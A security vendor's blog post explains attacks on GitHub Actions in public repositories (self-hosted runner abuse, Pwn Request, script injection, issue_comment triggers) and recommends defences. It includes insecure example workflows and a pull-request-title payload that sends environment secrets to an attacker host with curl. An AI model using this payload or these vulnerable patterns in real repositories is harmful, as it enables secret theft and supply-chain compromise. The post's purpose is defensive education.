Defend Your GitHub Actions CI/CD Environment in Public Repositories

GitHub Actions has become the de facto CI/CD platform for open-source projects due to its native integration with GitHub, ease of use, generous allocation of free CI/CD minutes, and rich ecosystem of third-party actions. However, this ease of use has proven to be a double-edged sword for open-source projects. While it allows open-source maintainers to build CI/CD pipelines quickly, it also leaves them vulnerable to introducing severe vulnerabilities in their GitHub Action workflows. Vulnerable GitHub Actions workflows in public repositories are particularly risky as potentially anyone with a GitHub account can trigger the vulnerable workflow and compromise it.

By compromising GitHub Action workflow runs in public repositories, adversaries can cause supply chain attacks. Many enterprises use production secrets such as cloud access credentials in their public GitHub Actions workflows. In addition, it’s also common for enterprises to self-host Action runners in their corporate/production environments and use them for running their public GitHub Actions workflows. The exploitation of a vulnerable GitHub Action workflow under these conditions can be the initial vector to compromise the broader enterprise production/corporate environment.  

Ethical researchers have done an excellent job raising awareness about this issue by researching and responsibly disclosing these vulnerabilities. Several publicly available resources can help enterprises educate themselves and take protective actions. Unfortunately, bad actors have also begun to exploit these attack patterns to scan and compromise enterprise open-source repositories on a large scale. This blog post provides an overview of these GitHub Action vulnerabilities and how enterprises can defend against them.

Attack Scenarios

For all attack scenarios described below, the first step for the attacker is typically to gain the ability to run GitHub Action workflows from their forked pull requests without approval. GitHub Action provides a feature that requires explicit approval from a repository owner from external contributors. However, many open-source repositories don’t use this setting properly. Also, there are attack patterns where this setting is ineffective as described in the Pwn Request section below.  

Typically, the first step in such attacks is always to create a helpful pull request, such as fixing a typo, addressing a minor bug, or implementing a minor functionality to gain the trust of the maintainer. Repository owners typically approve such pull requests as they appear to be useful. Attackers then carry out the actual attack in a separate malicious pull request once the first request is merged.

We have described different attack scenarios on public GitHub Action workflow below

Self-hosted runners

GitHub recommends against using self-hosted runners with public repositories. However, several scenarios, such as using a custom runtime environment, bypassing limitations with GitHub-hosted runners, etc., necessitate the use of self-hosted runners with public repositories.  

If a self-hosted runner is associated with a repository or organization, any workflows running in the context of the repository or organization can use the self-hosted runner under default settings. This means that an adversary can create a pull request with a new malicious workflow where “runs-on” is set to the self-hosted runner label. This malicious workflow can use “pull_request” as the event target, thereby it will run immediately once the pull request is created.  This then leads to several negative outcomes for the enterprise:

1. If the self-hosted runner is hosted inside the enterprise production or corporate environment, this attack allows the adversary to move laterally within the enterprise environment by exploiting other security issues in the environment.
2. If the organization is using persistent runners, the adversary can persist in the runner environment. When the runner runs a workflow with secrets such as a deployment workflow, the adversary can steal them. If a compromised runner runs a software build workflow, the adversary can inject a backdoor into it.
3. If the self-hosted runner is not configured properly, the adversary can break out of the ephemeral runtime environment and gain persistent access on the underlying runner infrastructure. We have described such an attack scenario in our how to run docker securely in Actions Runner Controller (ARC) blog post.

Pwn Request

According to GitHub, the pull_request_target event is defined as:

This event runs in the context of the base of the pull request, rather than in the context of the merge commit, as the pull_request event does.

Unlike other GitHub Action workflow runs from pull request that don’t have access to Action secrets and run with a read-only GITHUB_TOKEN by default, the pull_request_target workflows run with the default token permissions (which could be elevated) and have access to other workflow secrets defined in the workflow. A pull_request_target workflow becomes vulnerable to Pwn request when it explicitly checks out untrusted code snippets/commits/pull requests and executes them. We have shown an example below:

name: Insecure Workflow Example 
on: 
  pull_request_target: 
jobs: 
  insecure-job: 
    runs-on: ubuntu-latest 
    steps: 
    - name: Checkout code 
      uses: actions/checkout@v2 
      with: 
        ref: ${{ github.event.pull_request.head.sha }} 
    - name: Run tests 
      run: npm test 

This attack is concerning as pull_request_target always run without any explicit approval (no matter the value of “Approving workflow runs from public forks” configuration setting). The GitHub documentation page mentions the following paragraph.  
Note: Workflows triggered by pull_request_target events are run in the context of the base branch. Since the base branch is considered trusted, workflows triggered by these events will always run, regardless of approval settings. For more information about the pull_request_target event, see "Events that trigger workflows."

Unlike other attack scenarios described in this section, this means that if a repository is vulnerable to a Pwn Request vulnerability, there are no built-in GitHub security controls to prevent exploitation.  

Script Injection

A GitHub Action script injection attack occurs when an untrusted input is referenced in an inline script. We have given a sample vulnerable GitHub Action workflow below:

 name: Script Injection PoC PR Workflow 
on: 
  pull_request: 
jobs: 
  exploit-vulnerability: 
    runs-on: ubuntu-latest 
    steps: 
      - name: Echo Pull Request Title 
        run: | 
          echo "Pull Request Title: ${{ github.event.pull_request.title }}" 

In this case, an adversary can create a malicious pull request with the following title to execute malicious code in the workflow.

Update dependencies `curl -X POST -d "env=$(env)" http://upload.attacker.com `

If the repository is configured to run workflows from forked request, it will immediately run the adversary-controlled code inside the GitHub Action workflow.

Workflows with issue_comment trigger

GitHub Action supports a rich ecosystem of workflow triggers including several triggers related to the social interactions with the repository. There is no good way to limit access to these features, and an adversary can misuse these social features to run malicious code in workflow runs.

Using social features provided by GitHub, such as issues, discussions, etc., an adversary can trigger workflow runs a trusted branch, such as the main force to execute adversary-controlled code. For example, in the Flank incident, Adnan Khan demonstrated how an attacker can compromise the repository through an issue comment. The vulnerable workflow behind the Flank incident is given below:

  run-it-full-suite: 
    steps: 
      - name: Checkout Pull Request 
        if: github.event_name == 'issue_comment' 
        env: 
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 
        run: | 
          gh pr checkout ${{ needs.should_run_it.outputs.pr_number }} 

In this case, an adversary can create a comment and specify the malicious pull request number to force this workflow to execute the malicious code.

You can read more about the Flank incident here. Similar attack scenarios exist for workflow runs that get triggered by discussion and pull request comments.

Defenses Against GitHub Action Attacks on Public Repositories

Enterprises that use GitHub Actions with their public repositories can implement the following security best practices to defend against attack scenarios described above.

You must select “Require approval for all outside collaborators” so that all forked pull requests wait for explicit approvals before running workflows.

Require approval for workflow runs from public fork

This is a must-have setting for public repositories that use GitHub Actions. In your public GitHub organization / repository, you can select when GitHub Action should wait for explicit approval before running workflows for forked pull request.

Review GitHub Action workflows for dangerous code patterns

You can create GitHub search strings to perform quick analysis for potential workflows that are vulnerable to the above attack patterns at scale. Several ethical researchers have open-sourced their tools to help the community defend their open-source projects. We have listed a few of such open-source projects below:

• Gato-X
• poutine
• gh-workflow-auditor
• pwnhub
• Living Off the Pipeline

Runtime security monitoring and network egress filtering

You should implement an effective runtime security monitoring solution for GitHub Actions to prevent malicious attacks and collect forensics data. StepSecurity Harden-Runner is a purpose-built security agent for GitHub Actions based on the lessons from past security incidents. It works on self-hosted and GitHub-hosted runners. Harden-Runner provides a detailed runtime insights view for each workflow run, including all outbound network connections and file activities. Developers can also use Harden-Runner to enforce network egress filtering rules and restrict traffic to a list of allowed endpoints. Harden-Runner also provides HTTPS visibility through eBPF , thereby detecting secret exfiltration to multitenant endpoints such as api.github.com

Harden-Runner has caught a real attack in the Google’s open-source project Flank, you can find more details in this case study.

Enterprises should enable Harden-Runner on all their public repositories.  

Harden self-hosted runners with public repositories if you must use it

Avoid using self-hosted runners with public repositories if you can. If must have to use them, consider implementing following defenses:

1. Host self-hosted runners in an isolated environment. It should not have access to the enterprise corporate or production environment.
2. Enable runtime security monitoring and network egress filtering using Harden-Runner. Harden-Runner with self-hosted runners does not require any code changes and restricts network traffic to a list of allowed endpoints by default for all workflow runs.
3. Use ephemeral runners.
4. For Actions Runner Controller (ARC) deployments, don’t use DIND (Docker In Docker) mode. You can read about running docker securely in ARC here.
5. Limit the use of self-hosted runners to specific workflows. Don’t associate them with the entire GitHub organization or repository. You can find more details on this feature In GitHub documentation here.
6. Audit the use of pull_request_target and issue_comment triggers and make sure that you are using them safely.

Restrict GITHUB_TOKEN permissions

As most of the attacks on public repositories go after GITHUB_TOKEN to backdoor software releases and source code, you should consider setting the least privileged GITHUB_TOKEN. StepSecurity App allows organizations to detect all workflows across their orgs that use elevated GITHUB_TOKEN permissions and generates automated pull requests to fix them.

The following screenshot shows all workflows in an enterprise environment with elevated GITHUB_TOKEN.

A security champion can then fix these GitHub Action workflows by clicking FIX USING PULL REQUEST button to create an automated pull request as shown below.

Summary

All the attack scenarios described above lead to unauthenticated code execution to leading to the compromise of the broader enterprise environment or supply chain attacks. Enterprises must take the necessary steps to defend their public GitHub Action workflows against such attacks.